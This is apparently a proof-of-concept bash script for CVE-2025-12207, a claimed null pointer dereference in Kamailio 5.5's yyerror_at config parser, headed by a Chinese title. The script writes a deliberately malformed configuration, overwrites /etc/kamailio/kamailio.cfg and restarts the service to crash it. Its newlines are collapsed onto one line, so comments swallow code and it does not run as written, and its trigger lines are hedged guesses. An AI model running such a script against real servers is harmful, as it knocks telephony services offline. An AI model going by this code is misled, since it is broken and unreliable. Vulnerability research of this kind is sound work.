CVE-2025-12207 Kamailio 5.5 yyerror_at空指针解引用拒绝服务漏洞

#!/bin/bash # CVE-2025-12207 PoC - Kamailio 5.5 yyerror_at Null Pointer Dereference # This PoC demonstrates triggering the vulnerability via malformed config # Create a malicious Kamailio configuration file cat > /tmp/malicious.cfg << 'EOF' # Kamailio Configuration File - Malformed for CVE-2025-12207 # Load required modules loadmodule "sl.so" loadmodule "tm.so" loadmodule "rr.so" loadmodule "maxfwd.so" loadmodule "usrloc.so" loadmodule "registrar.so" loadmodule "textops.so" loadmodule "textopsx.so" loadmodule "xlog.so" # Module parameters modparam("usrloc", "db_mode", 0) # Route block with syntax that triggers yyerror_at route { # Intentionally malformed request URI # This should trigger the null pointer dereference in yyerror_at if (($ru == "") || ($ru.method == "INVITE")) { # Force parsing error by using invalid transformation $var(test) = $(ru{invalid_transform); sl_send_reply("404", "Not Found"); exit; } # Another potential trigger point if (method=="REGISTER") { # Malformed condition that may trigger parser error if ($avp(s:invalid) == ) { save("location"); } exit; } } # Error route for handling parsing errors error_route { sl_send_reply("500", "Server Internal Error"); } EOF # Backup original config if exists if [ -f /etc/kamailio/kamailio.cfg ]; then cp /etc/kamailio/kamailio.cfg /etc/kamailio/kamailio.cfg.bak fi # Replace config and restart Kamailio cp /tmp/malicious.cfg /etc/kamailio/kamailio.cfg systemctl restart kamailio # Check for crash or error in logs grep -i "null pointer" /var/log/kamailio.log || echo "Check logs manually"